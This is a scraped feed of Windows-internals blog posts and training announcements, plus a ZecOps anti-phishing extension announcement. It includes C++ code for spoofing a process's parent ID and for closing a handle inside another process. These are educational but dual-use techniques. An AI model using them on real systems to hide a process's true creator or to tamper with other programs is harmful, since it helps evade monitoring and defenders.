Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Introducing ZecOps Anti-Phishing Extension

8 April 2021 at 10:10
Introducing ZecOps Anti-Phishing Extension

Phishing is a common social engineering attack that is used by scammers to steal personal information, including authentication credentials and credit card numbers. Being well known for more than 30 years, phishing is still the most common attack performed by cyber-criminals. There have been several attempts at combating phishing attacks, but no attempt has been able to successfully eliminate the problem.

One of the most common attack scenarios involves the attacker sending an email or a text message to the victim. The message, pretending to be from a trustworthy entity, links to a fake website which visually matches a legitimate site. Nowadays, most browsers include limited protection to phishing, relying on a list of known phishing domains. While such protection has value, it’s still easy to bypass.

To help combat phishing attacks, we developed a browser extension that takes a different approach. Instead of trying to determine whether a visited website is a fake website used for phishing, we augment the website with additional visual information, allowing the user to make an informed decision. The user can take into account context that the browser has no way of knowing, such as the origin of the link and the sensitivity of the information about to be entered.

The website identity

One of the most common types of phishing is tricking the user into entering credentials into a fake website. The traditional way of avoiding such phishing is to check the address bar and verify that the address matches the expected, legitimate website. Such a check requires some discipline, and is easy to miss amid a busy day.

The main goal of ZecOps Anti-Phishing Extension is to make it easy to determine the identity of a website, having a visual indication that is difficult to miss.

Take a look at the following example:

Visiting a phishing website without and with the extension
Visiting a phishing website without and with the extension

In this example, the victim navigated to a fake website pretending to be paypal.com. Without the extension (left part of the image), the only difference compared to the real website is a single character in the address bar (1 instead of l in “paypal”). With the extension, the victim gets critical information just before entering his credentials:

  • The website is visited for the first time. For a website such as PayPal, which the victim probably visited multiple times before, this is a red flag.
  • The domain name is very similar to another, well known domain name. In this case, the extension is able to recognize that “paypa1.com” is visually similar to “paypal.com”, making the phishing attempt obvious.
  • The elephant image is the visual identity of the website that the extension generated for paypa1.com, which is most likely to be different from the visual identity of paypal.com. If the victim signs into paypal.com often, he might notice that the image changed and that something is wrong. Users won’t be able to remember all images for all websites, but that’s another measure of caution that can prevent a successful attack, and is more effective for websites that are visited more often.

Misleading links

Another common phishing technique involves sending a message with a link that looks legit, but leads to a different website that is controlled by the attacker. ZecOps Anti-Phishing Extension detects such links and displays a warning message:

A warning about a misleading link
A warning about a misleading link

A word about privacy

We care about our users’ privacy, and so the extension doesn’t send any information back to us. We don’t collect the websites you visit, the messages you see, or anything at all. The only data we collect is through our phishing reporting form that you can voluntarily submit.

Installing the extension

You can get the extension in the extension store for your browser:

Source code

The source code of the extension can be found on GitHub:
ZecOps/anti-phishing-extension

Other ZecOps Projects

We created this project as a community project. If you’d like to learn about the other initiatives we have at ZecOps, we invite you to learn more about ZecOps Mobile EDR / DFIR solutions here.

Next Public Windows Internals training

17 March 2021 at 16:04

I am announcing the next Windows Internals remote training to be held in July 2021 on the 12, 14, 15, 19, 21. Times: 11am to 7pm, London time.

The syllabus can be found here (slight changes are possible if new important topics come up).

Cost and Registration

I’m keeping the cost of these training classes relatively low. This is to make these classes accessible to more people, especially in these unusual and challenging times.

Cost: 800 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details). Previous students of my classes are entitled to a 10% discount.

To register, send an email to [email protected] and specify “Windows Internals Training” in the title. The email should include your name, contact email, and company name (if any).

Later this year I plan a Windows Kernel Programming class. Stay tuned!

As usual, if you have any questions, feel free to send me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

Platform-Ico-n-Transparent-3-Windows

zodiacon

Parent Process vs. Creator Process

10 January 2021 at 07:51

Normally, a process created by another process in Windows establishes a parent-child relationship between them. This relationship can be viewed in tools such as Process Explorer. Here is an example showing FoxitReader as a child process of Explorer, implying Explorer created FoxitReader. That must be the case, right?

First, it’s important to emphasize that there is no dependency between a child and a parent process in any way. For example, if the parent process terminates, the child is unaffected. The parent is used for inheriting many properties of the child process, such as current directory and environment variables (if not specified explicitly).

Windows stores the parent process ID in the process management object of the child in the kernel for posterity. This also means that the process ID, although correct, could point to a “wrong” process. This can happen if the parent dies, and the process ID is reused.

Process Explorer does not get confused in such a case, and left-justifies the process in its tree view. It knows to check the process creation time. If the “parent” was created after the child, there is no way it could be the real parent. The parent process ID can still be viewed in the process properties:

Notice the “<Non-existent Parent>” indication. Although the parent process ID is known (13636 in this case), there is no other information on that process, as it does not exist anymore, and its ID may or may not have been reused.

By the way, don’t be alarmed that Explorer has no living parent. This is expected, as it’s normally created by a process running the image UserInit.exe, that exits normally after finishing its duties.

Returning to the question raised earlier – is the parent process always the actual creator? Not necessarily.

The canonical example is when a process is launched elevated (for example, by right-clicking it in Explorer and selecting “Run as Administrator”. Here is a diagram showing the major components in an elevation procedure:

First, the user right-clicks in Explorer and asks to run some App.Exe elevated. Explorer calls ShellExecute(Ex) with the verb “runas” that requests this elevation. Next, The AppInfo service is contacted to perform the operation if possible. It launches consent.exe, which shows the Yes/No message box (for true administrators) or a username/password dialog to get an admin’s approval for the elevation. Assuming this is granted, the AppInfo service calls CreateProcessAsUser to launch the App.exe elevated. To maintain the illusion that Explorer created App.exe, it stores the parent ID of Explorer into App.exe‘s new process management block. This makes it look as if Explorer had created App.exe, but is not really what happened. However, that “re-parenting” is probably a good idea in this case, giving the user the expected result.

Is it possible to specify a different parent when creating a process with CreateProcess?

It is indeed possible by using a process attribute. Here is a function that does just that (with minimal error handling):

bool CreateProcessWithParent(DWORD parentId, PWSTR commandline) {
    auto hProcess = ::OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentId);
    if (!hProcess)
        return false;

    SIZE_T size;
    //
    // call InitializeProcThreadAttributeList twice
    // first, get required size
    //
    ::InitializeProcThreadAttributeList(nullptr, 1, 0, &size);

    //
    // now allocate a buffer with the required size and call again
    //
    auto buffer = std::make_unique<BYTE[]>(size);
    auto attributes = reinterpret_cast<PPROC_THREAD_ATTRIBUTE_LIST>(buffer.get());
    ::InitializeProcThreadAttributeList(attributes, 1, 0, &size);

    //
    // add the parent attribute
    //
    ::UpdateProcThreadAttribute(attributes, 0, 
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
        &hProcess, sizeof(hProcess), nullptr, nullptr);

    STARTUPINFOEX si = { sizeof(si) };
    //
    // set the attribute list
    //
    si.lpAttributeList = attributes;
    PROCESS_INFORMATION pi;

    //
    // create the process
    //
    BOOL created = ::CreateProcess(nullptr, commandline, nullptr, nullptr, 
        FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, 
        (STARTUPINFO*)&si, &pi);

    //
    // cleanup
    //
    ::CloseHandle(hProcess);
    ::DeleteProcThreadAttributeList(attributes);

    return created;
}

The first step is to open a handle to the “prospected” parent by calling OpenProcess with the PROCESS_CREATE_PROCESS access mask. This means you cannot choose an arbitrary process, you must have at least that access to the process. Protected (and protected light) processes, for example, cannot be used as parents in this way, as PROCESS_CREATE_PROCESS cannot be obtained for such processes.

Next, an attribute list is created with a single attribute of type PROC_THREAD_ATTRIBUTE_PARENT_PROCESS by calling InitializeProcThreadAttributeList followed by UpdateProcThreadAttribute to set up the parent handle. Finally, CreateProcess is called with the extended STARTUPINFOEX structure where the attribute list is stored. CreateProcess must know about the extended version by specifying EXTENDED_STARTUPINFO_PRESENT in its flags argument.

Here is an example where Excel supposedly created Notepad (it really didn’t). The “real” process creator is nowhere to be found.

The obvious question perhaps is whether there is any way to know which process was the real creator?

The only way that seems to be available is for kernel drivers that register for process creation notifications with PsSetCreateProcessNotifyRoutineEx (or one of its variants). When such a notification is invoked in the driver, the following structure is provided:

typedef struct _PS_CREATE_NOTIFY_INFO {
  SIZE_T              Size;
  union {
    ULONG Flags;
    struct {
      ULONG FileOpenNameAvailable : 1;
      ULONG IsSubsystemProcess : 1;
      ULONG Reserved : 30;
    };
  };
  HANDLE              ParentProcessId;
  CLIENT_ID           CreatingThreadId;
  struct _FILE_OBJECT *FileObject;
  PCUNICODE_STRING    ImageFileName;
  PCUNICODE_STRING    CommandLine;
  NTSTATUS            CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

On the one hand, there is the ParentProcessId member (although it’s typed as HANDLE, it actually the parent process ID). This is the parent process as set by CreateProcess based on the code snippet in CreateProcessWithParent.

However, there is also the CreatingThreadId member of type CLIENT_ID, which is a small structure containing a process and thread IDs. This is the real creator. In most cases it’s going to have the same process ID as ParentProcessId, but not in the case where a different parent has been specified.

After this point, that information goes away, leaving only the parent ID, as it’s the one stored in the EPROCESS kernel structure of the child process.

Update: (thanks to @jdu2600)

The creator is available by listening to the process create ETW event, where the creator is the one raising the event. Here is a snapshot from my own ProcMonXv2:

runelevated-1

zodiacon

Next Public (Remote) Training Classes

29 October 2020 at 20:44

I am announcing the next Windows Internals remote training to be held in January 2021 on the 19, 21, 25, 27, 28. Times: 11am to 7pm, London time.

The syllabus can be found here.

I am also announcing a new training, requested by quite a few people, Windows System Programming. The dates are in February 2021: 8, 9, 11, 15, 17. Times: 12pm to 8pm, London time.

The syllabus can be found here.

Cost and Registration

I’m keeping the cost of these training classes relatively low. This is to make these classes accessible to more people, especially in these challenging times. If you register for both classes, you get 10% off the second class. Previous students of my classes get 10% off as well.

Cost: 750 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details).

To register, send an email to [email protected] and specify “Training” in the title. The email should include the training(s) you’re interested in, your name, contact email, company name (if any) and preferred time zone. The training times have already been selected, but it’s still good to know which time zone you live in.

As usual, if you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

Platform-Ico-n-Transparent-3-Windows

zodiacon

Upcoming Public Remote Training

24 July 2020 at 14:49

I have recently completed another successful iteration of the Windows Internals training – thank you those who participated!

I am announcing two upcoming training classes, Windows Internals and Windows Kernel Programming.

Windows Internals (5 days)

I promised some folks that the next Internals training would be convenient to US-based time zones. That said, all time zones are welcome!

Dates: Sep 29, Oct 1, 5, 7, 8
Times: 8am to 4pm Pacific time (11am to 7pm Eastern)

The syllabus can be found here. I may make small changes in the final topics, but the major topics remain the same.

Windows Kernel Programming (4 days)

Dates: Oct 13, 15, 19, 21
Times: TBA

The syllabus can be found here. Again, slight changes are possible. This is a development-heavy course, so be prepared to write lots of code!

The selected time zone will be based on the majority of participants’ preference.

Cost and Registration

The cost for each class is kept relatively low (as opposed to other, perhaps similar offerings), as I’ve done in the past year or so. This is to make these classes accessible to more people, especially in these challenging times. If you register for both classes, you get 10% off the second class. Previous students of my classes get 10% off as well.

Cost: 750 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details).

To register, send an email to [email protected] and specify “Training” in the title. The email should include your name, company name (if any) and preferred time zone.

Please read carefully the pre-requisites of each class, especially for Windows Kernel Programming. In case of doubt, talk to me.

If you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

For Companies

Companies that are interested in such (or other) training classes receive special prices. Topics can also be customized according to specific needs.

Other classes I provide include: Modern C++ Programming, Windows System Programming, COM Programming, C#/.NET Programming (Basic and Advanced), Advanced Windows Debugging, and more. Contact me for detailed syllabi if interested.

Platform-Ico-n-Transparent-3-Windows

zodiacon

Creating Registry Links

17 July 2020 at 18:55

The standard Windows Registry contains some keys that are not real keys, but instead are symbolic links (or simply, links) to other keys. For example, the key HKEY_LOCAL_MACHINE\System\CurrentControlSet is a symbolic link to HKEY_LOCAL_MACHINE\System\ControlSet001 (in most cases). When working with the standard Registry editor, RegEdit.exe, symbolic links look like normal keys, in the sense that they behave as the link’s target. The following figure shows the above mentioned keys. They look exactly the same (and they are).

There are several other existing links in the Registry. As another example, the hive HKEY_CURRENT_CONFIG is a link to (HKLM is HKEY_LOCAL_MACHINE) HKLM\SYSTEM\CurrentControlSet\Hardware Profiles\Current.

But how to do you create such links yourself? The official Microsoft documentation has partial details on how to do it, and it misses two critical pieces of information to make it work.

Let’s see if we can create a symbolic link. One rule of Registry links, is that the link must point to somewhere within the same hive where the link is created; we can live with that. For demonstration purposes, we’ll create a link in HKEY_CURRENT_USER named DesktopColors that links to HKEY_CURRENT_USER\Control Panel\Desktop\Colors.

The first step is to create the key and specify it to be a link rather than a normal key (error handling omitted):

HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, L"DesktopColors", 0, nullptr,
	REG_OPTION_CREATE_LINK, KEY_WRITE, nullptr, &hKey, nullptr);

The important part is that REG_OPTION_CREATE_LINK flag that indicates this is supposed to be a link rather than a standard key. The KEY_WRITE access mask is required as well, as we are about to set the link’s target.

Now comes the first tricky part. The documentation states that the link’s target should be written to a value named “SymbolicLinkValue” and it must be an absolute registry path. Sounds easy enough, right? Wrong. The issue here is the “absolute path” – you might think that it should be something like “HKEY_CURRENT_USER\Control Panel\Desktop\Colors” just like we want, but hey – maybe it’s supposed to be “HKCU” instead of “HKEY_CURRENT_USER” – it’s just a string after all.

It turns out both these variants are wrong. The “absolute path” required here is a native Registry path that is not visible in RegEdit.exe, but it is visible in my own Registry editing tool, RegEditX.exe, downloadable from https://github.com/zodiacon/AllTools. Here is a screenshot, showing the “real” Registry vs. the view we get with RegEdit.

This top view is the “real” Registry is seen by the Windows kernel. Notice there is no HKEY_CURRENT_USER, there is a USER key where subkeys exist that represent users on this machine based on their SIDs. These are mostly visible in the standard Registry under the HKEY_USERS hive.

The “absolute path” needed is based on the real view of the Registry. Here is the code that writes the correct path based on my (current user’s) SID:

WCHAR path[] = L"\\REGISTRY\\USER\\S-1-5-21-2575492975-396570422-1775383339-1001\\Control Panel\\Desktop\\Colors";
RegSetValueEx(hKey, L"SymbolicLinkValue", 0, REG_LINK, (const BYTE*)path,
    wcslen(path) * sizeof(WCHAR));

The above code shows the second (undocumented, as far as I can tell) piece of crucial information – the length of the link path (in bytes) must NOT include the NULL terminator. Good luck guessing that 🙂

And that’s it. We can safely close the key and we’re done.

Well, almost. If you try to delete your newly created key using RegEdit.exe – the target is deleted, rather than the link key itself! So, how do you delete the key link? (My RegEditX does not support this yet).

The standard RegDeleteKey and RegDeleteKeyEx APIs are unable to delete a link. Even if they’re given a key handle opened with REG_OPTION_OPEN_LINK – they ignore it and go for the target. The only API that works is the native NtDeleteKey function (from NtDll.Dll).

First, we add the function’s declaration and the NtDll import:

extern "C" int NTAPI NtDeleteKey(HKEY);

#pragma comment(lib, "ntdll")

Now we can delete a link key like so:

HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, L"DesktopColors", REG_OPTION_OPEN_LINK, 
    DELETE, &hKey);
NtDeleteKey(hKey);

As a final note, RegCreateKeyEx cannot open an existing link key – it can only create one. This in contrast to standard keys that can be created OR opened with RegCreateKeyEx. This means that if you want to change an existing link’s target, you have to call RegOpenKeyEx first (with REG_OPTION_OPEN_LINK) and then make the change (or delete the link key and re-create it).

Isn’t Registry fun?

reglink2

zodiacon

How can I close a handle in another process?

15 March 2020 at 18:24

Many of you are probably familiar with Process Explorer‘s ability to close a handle in any process. How can this be accomplished programmatically?

The standard CloseHandle function can close a handle in the current process only, and most of the time that’s a good thing. But what if you need, for whatever reason, to close a handle in another process?

There are two routes than can be taken here. The first one is using a kernel driver. If this is a viable option, then nothing can prevent you from doing the deed. Process Explorer uses that option, since it has a kernel driver (if launched with admin priveleges at least once). In this post, I will focus on user mode options, some of which are applicable to kernel mode as well.

The first issue to consider is how to locate the handle in question, since its value is unknown in advance. There must be some criteria for which you know how to identify the handle once you stumble upon it. The easiest (and probably most common) case is a handle to a named object.

Let take a concrete example, which I believe is now a classic, Windows Media Player. Regardless of what opnions you may have regarding WMP, it still works. One of it quirks, is that it only allows a single instance of itself to run. This is accomplished by the classic technique of creating a named mutex when WMP comes up, and if it turns out the named mutex already exists (presumabley created by an already existing instance of itself), send a message to its other instance and then exits.

The following screenshot shows the handle in question in a running WMP instance.

wmp1

This provides an opportunity to close that mutex’ handle “behind WMP’s back” and then being able to launch another instance. You can try this by manually closing the handle with Process Explorer and then launch another WMP instance successfully.

If we want to achieve this programmatically, we have to locate the handle first. Unfortunately, the documented Windows API does not provide a way to enumerate handles, not even in the current process. We have to go with the (officially undocumented) Native API if we want to enumerate handles. There two routes we can use:

  1. Enumerate all handles in the system with NtQuerySystemInformation, search for the handle in the PID of WMP.
  2. Enumerate all handles in the WMP process only, searching for the handle yet again.
  3. Inject code into the WMP process to query handles one by one, until found.

Option 3 requires code injection, which can be done by using the CreateRemoteThreadEx function, but requires a DLL that we inject. This technique is very well-known, so I won’t repeat it here. It has the advantage of not requring some of the native APIs we’ll be using shortly.

Options 1 and 2 look very similar, and for our purposes, they are. Option 1 retrieves too much information, so it’s probably better to go with option 2.

Let’s start at the beginning: we need to locate the WMP process. Here is a function to do that, using the Toolhelp API for process enumeration:

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

DWORD FindMediaPlayer() {
	HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
		return 0;

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(pe);

	// skip the idle process
	::Process32First(hSnapshot, &pe);
	
	DWORD pid = 0;
	while (::Process32Next(hSnapshot, &pe)) {
		if (::_wcsicmp(pe.szExeFile, L"wmplayer.exe") == 0) {
			// found it!
			pid = pe.th32ProcessID;
			break;
		}
	}
	::CloseHandle(hSnapshot);
	return pid;
}


int main() {
	DWORD pid = FindMediaPlayer();
	if (pid == 0) {
		printf("Failed to locate media player\n");
		return 1;
	}
	printf("Located media player: PID=%u\n", pid);
	return 0;
}

Now that we have located WMP, let’s get all handles in that process. The first step is opening a handle to the process with PROCESS_QUERY_INFORMATION and PROCESS_DUP_HANDLE (we’ll see why that’s needed in a little bit):

HANDLE hProcess = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
	FALSE, pid);
if (!hProcess) {
	printf("Failed to open WMP process handle (error=%u)\n",
		::GetLastError());
	return 1;
}

If we can’t open a proper handle, then something is terribly wrong. Maybe WMP closed in the meantime?

Now we need to work with the native API to query the handles in the WMP process. We’ll have to bring in some definitions, which you can find in the excellent phnt project on Github (I added extern "C" declaration because we use a C++ file).

#include <memory>

#pragma comment(lib, "ntdll")

#define NT_SUCCESS(status) (status >= 0)

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

enum PROCESSINFOCLASS {
	ProcessHandleInformation = 51
};

typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {
	HANDLE HandleValue;
	ULONG_PTR HandleCount;
	ULONG_PTR PointerCount;
	ULONG GrantedAccess;
	ULONG ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;

// private
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {
	ULONG_PTR NumberOfHandles;
	ULONG_PTR Reserved;
	PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryInformationProcess(
	_In_ HANDLE ProcessHandle,
	_In_ PROCESSINFOCLASS ProcessInformationClass,
	_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
	_In_ ULONG ProcessInformationLength,
	_Out_opt_ PULONG ReturnLength);

The #include <memory> is for using unique_ptr<> as we’ll do soon enough. The #parma links the NTDLL import library so that we don’t get an “unresolved external” when calling NtQueryInformationProcess. Some people prefer getting the functions address with GetProcAddress so that linking with the import library is not necessary. I think using GetProcAddress is important when using a function that may not exist on the system it’s running on, otherwise the process will crash at startup, when the loader (code inside NTDLL.dll) tries to locate a function. It does not care if we check dynamically whether to use the function or not – it will crash. Using GetProcAddress will just fail and the code can handle it. In our case, NtQueryInformationProcess existed since the first Windows NT version, so I chose to go with the simplest route.

Our next step is to enumerate the handles with the process information class I plucked from the full list in the phnt project (ntpsapi.h file):

ULONG size = 1 << 10;
std::unique_ptr<BYTE[]> buffer;
for (;;) {
	buffer = std::make_unique<BYTE[]>(size);
	auto status = ::NtQueryInformationProcess(hProcess, ProcessHandleInformation, 
		buffer.get(), size, &size);
	if (NT_SUCCESS(status))
		break;
	if (status == STATUS_INFO_LENGTH_MISMATCH) {
		size += 1 << 10;
		continue;
	}
	printf("Error enumerating handles\n");
	return 1;
}

The Query* style functions in the native API request a buffer and return STATUS_INFO_LENGTH_MISMATCH if it’s not large enough or not of the correct size. The code allocates a buffer with make_unique<BYTE[]> and tries its luck. If the buffer is not large enough, it receives back the required size and then reallocates the buffer before making another call.

Now we need to step through the handles, looking for our mutex. The information returned from each handle does not include the object’s name, which means we have to make yet another native API call, this time to NtQyeryObject along with some extra required definitions:

typedef enum _OBJECT_INFORMATION_CLASS {
	ObjectNameInformation = 1
} OBJECT_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_NAME_INFORMATION {
	UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryObject(
	_In_opt_ HANDLE Handle,
	_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
	_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
	_In_ ULONG ObjectInformationLength,
	_Out_opt_ PULONG ReturnLength);

NtQueryObject has several information classes, but we only need the name. But what handle do we provide NtQueryObject? If we were going with option 3 above and inject code into WMP’s process, we could loop with handle values starting from 4 (the first legal handle) and incrementing the loop handle by four.

Here we are in an external process, so handing out the handles provided by NtQueryInformationProcess does not make sense. What we have to do is duplicate each handle into our own process, and then make the call. First, we set up a loop for all handles and duplicate each one:

auto info = reinterpret_cast<PROCESS_HANDLE_SNAPSHOT_INFORMATION*>(buffer.get());
for (ULONG i = 0; i < info->NumberOfHandles; i++) {
	HANDLE h = info->Handles[i].HandleValue;
	HANDLE hTarget;
	if (!::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget, 
		0, FALSE, DUPLICATE_SAME_ACCESS))
		continue;	// move to next handle
	}

We duplicate the handle from WMP’s process (hProcess) to our own process. This function requires the handle to the process opened with PROCESS_DUP_HANDLE.

Now for the name: we need to call NtQueryObject with our duplicated handle and buffer that should be filled with UNICODE_STRING and whatever characters make up the name.

BYTE nameBuffer[1 << 10];
auto status = ::NtQueryObject(hTarget, ObjectNameInformation, 
	nameBuffer, sizeof(nameBuffer), nullptr);
::CloseHandle(hTarget);
if (!NT_SUCCESS(status))
	continue;

Once we query for the name, the handle is not needed and can be closed, so we don’t leak handles in our own process. Next, we need to locate the name and compare it with our target name. But what is the target name? We see in Process Explorer how the name looks. It contains the prefix used by any process (except UWP processes): “\Sessions\<session>\BasedNameObjects\<thename>”. We need the session ID and the “real” name to build our target name:

WCHAR targetName[256];
DWORD sessionId;
::ProcessIdToSessionId(pid, &sessionId);
::swprintf_s(targetName,
	L"\\Sessions\\%u\\BaseNamedObjects\\Microsoft_WMP_70_CheckForOtherInstanceMutex", 
	sessionId);
auto len = ::wcslen(targetName);

This code should come before the loop begins, as we only need to build it once.

Not for the real comparison of names:

auto name = reinterpret_cast<UNICODE_STRING*>(nameBuffer);
if (name->Buffer && 
	::_wcsnicmp(name->Buffer, targetName, len) == 0) {
	// found it!
}

The name buffer is cast to a UNICODE_STRING, which is the standard string type in the native API (and the kernel). It has a Length member which is in bytes (not characters) and does not have to be NULL-terminated. This is why the function used is _wcsnicmp, which can be limited in its search for a match.

Assuming we find our handle, what do we do with it? Fortunately, there is a trick we can use that allows closing a handle in another process: call DuplicateHandle again, but add the DUPLICATE_CLOSE_SOURCE to close the source handle. Then close our own copy, and that’s it! The mutex is gone. Let’s do it:

// found it!
::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget,
	0, FALSE, DUPLICATE_CLOSE_SOURCE);
::CloseHandle(hTarget);
printf("Found it! and closed it!\n");
return 0;

This is it. If we get out of the loop, it means we failed to locate the handle with that name. The general technique of duplicating a handle and closing the source is applicable to kernel mode as well. It does require a process handle with PROCESS_DUP_HANDLE to make it work, which is not always possible to get from user mode. For example, protected and PPL (protected processes light) processes cannot be opened with this access mask, even by administrators. In kernel mode, on the other hand, any process can be opened with full access.

wmp1

💾

zodiacon

💾

Next Windows Internals (Remote) Training

3 January 2020 at 18:47

It’s been a while since I gave the Windows Internals training, so it’s time for another class of my favorite topics!

This time I decided to make it more afordable, to allow more people to participate. The cost is based on whether paid by an individual vs. a company. The training includes lab exercises – some involve working with tools, while others involve coding in C/C++.

  • Public 5-day remote class
  • Dates: April 20, 22, 23, 27, 30
  • Time: 8 hours / day. Exact hours TBD
  • Price: 750 USD (payed by individual) / 1500 USD (payed by company)
  • Register by emailing [email protected] and specifying “Windows Internals Training” in the title
    • Provide names of participants (discount available for multiple participants from the same company), company name (if any) and preferred time zone.
    • You’ll receive instructions for payment and other details
  • Virtual space is limited!

The training time zone will be finalized closer to the start date.

Objectives: Understand the Windows system architectureExplore the internal workings of process, threads, jobs, virtual memory, the I/O system and other mechanisms fundamental to the way Windows works

Write a simple software device driver to access/modify information not available from user mode

Target Audience: Experienced windows programmers in user mode or kernel mode, interested in writing better programs, by getting a deeper understanding of the internal mechanisms of the windows operating system.Security researchers interested in gaining a deeper understanding of Windows mechanisms (security or otherwise), allowing for more productive research
Pre-Requisites: Basic knowledge of OS concepts and architecture.Power user level working with Windows

Practical experience developing windows applications is an advantage

C/C++ knowledge is an advantage

  • Module 1: System Architecture
    • Brief Windows NT History
    • Windows Versions
    • Tools: Windows, Sysinternals, Debugging Tools for Windows
    • Processes and Threads
    • Virtual Memory
    • User mode vs. Kernel mode
    • Architecture Overview
    • Key Components
    • User/kernel transitions
    • APIs: Win32, Native, .NET, COM, WinRT
    • Objects and Handles
    • Sessions
    • Introduction to WinDbg
    • Lab: Task manager, Process Explorer, WinDbg
  • Module 2: Processes & Jobs
    • Process basics
    • Creating and terminating processes
    • Process Internals & Data Structures
    • The Loader
    • DLL explicit and implicit linking
    • Process and thread attributes
    • Protected processes and PPL
    • UWP Processes
    • Minimal and Pico processes
    • Jobs
    • Nested jobs
    • Introduction to Silos
    • Server Silos and Docker
    • Lab: viewing process and job information; creating processes; setting job limits
  • Module 3: Threads
    • Thread basics
    • Thread Internals & Data Structures
    • Creating and terminating threads
    • Thread Stacks
    • Thread Priorities
    • Thread Scheduling
    • CPU Sets
    • Direct Switch
    • Deep Freeze
    • Thread Synchronization
    • Lab: creating threads; thread synchronization; viewing thread information; CPU sets
  • Module 4: Kernel Mechanisms
    • Trap Dispatching
    • Interrupts
    • Interrupt Request Level (IRQL)
    • Deferred Procedure Calls (DPCs)
    • Exceptions
    • System Crash
    • Object Management
    • Objects and Handles
    • Sharing Objects
    • Thread Synchronization
    • Synchronization Primitives (Mutex, Semaphore, Events, and more)
    • Signaled vs. Non-Signaled
    • High IRQL Synchronization
    • Windows Global Flags
    • Kernel Event Tracing
    • Wow64
    • Lab: Viewing Handles, Interrupts; creating maximum handles; Thread synchronization
  • Module 5: Memory Management
    • Overview
    • Small, large and huge pages
    • Page states
    • Memory Counters
    • Address Space Layout
    • Address Translation Mechanisms
    • Heaps
    • APIs in User mode and Kernel mode
    • Page Faults
    • Page Files
    • Commit Size and Commit Limit
    • Workings Sets
    • Memory Mapped Files (Sections)
    • Page Frame Database
    • Other memory management features
    • Lab: committing & reserving memory; using shared memory; viewing memory related information
  • Module 6: Management Mechanisms
    • The Registry
    • Services
    • Starting and controlling services
    • Windows Management Instrumentation
    • Lab: Viewing and configuring services; Process Monitor

  • Module 7: I/O System
    • I/O System overview
    • Device Drivers
    • Plug & Play
    • The Windows Driver Model (WDM)
    • The Windows Driver Framework (WDF)
    • WDF: KMDF and UMDF
    • Device and Driver Objects
    • I/O Processing and Data Flow
    • IRPs
    • Power Management
    • Driver Verifier
    • Writing a Software Driver
    • Labs: viewing driver and device information; writing a software driver
  • Module 8: Security
    • Security Components
    • Virtualization Based Security
    • Hyper-V
    • Protecting objects
    • SIDs
    • User Access Control (UAC)
    • Tokens
    • Integrity Levels
    • ACLs
    • Privileges
    • Access checks
    • AppContainers
    • Logon
    • Control Flow Guard (CFG)
    • Process mitigations
    • Lab: viewing security information

zodiacon

💾

Where did System Services 0 and 1 go?

13 November 2019 at 16:53

System calls on Windows go through NTDLL.dll, where each system call is invoked by a syscall (x64) or sysenter (x86) CPU instruction, as can be seen from the following output of NtCreateFile from NTDLL:

0:000> u
ntdll!NtCreateFile:
00007ffc`c07fcb50 4c8bd1          mov     r10,rcx
00007ffc`c07fcb53 b855000000      mov     eax,55h
00007ffc`c07fcb58 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`c07fcb60 7503            jne     ntdll!NtCreateFile+0x15 (00007ffc`c07fcb65)
00007ffc`c07fcb62 0f05            syscall
00007ffc`c07fcb64 c3              ret
00007ffc`c07fcb65 cd2e            int     2Eh
00007ffc`c07fcb67 c3              ret

The important instructions are marked in bold. The value set to EAX is the system service number (0x55 in this case). The syscall instruction follows (the condition tested does not normally cause a branch). syscall causes transition to the kernel into the System Service Dispatcher routine, which is responsible for dispatching to the real system call implementation within the Executive. I will not go to the exact details here, but eventually, the EAX register must be used as a lookup index into the System Service Dispatch Table (SSDT), where each system service number (index) should point to the actual routine.

On x64 versions of Windows, the SSDT is available in the kernel debugger in the nt!KiServiceTable symbol:

lkd> dd nt!KiServiceTable
fffff804`13c3ec20  fced7204 fcf77b00 02b94a02 04747400
fffff804`13c3ec30  01cef300 fda01f00 01c06005 01c3b506
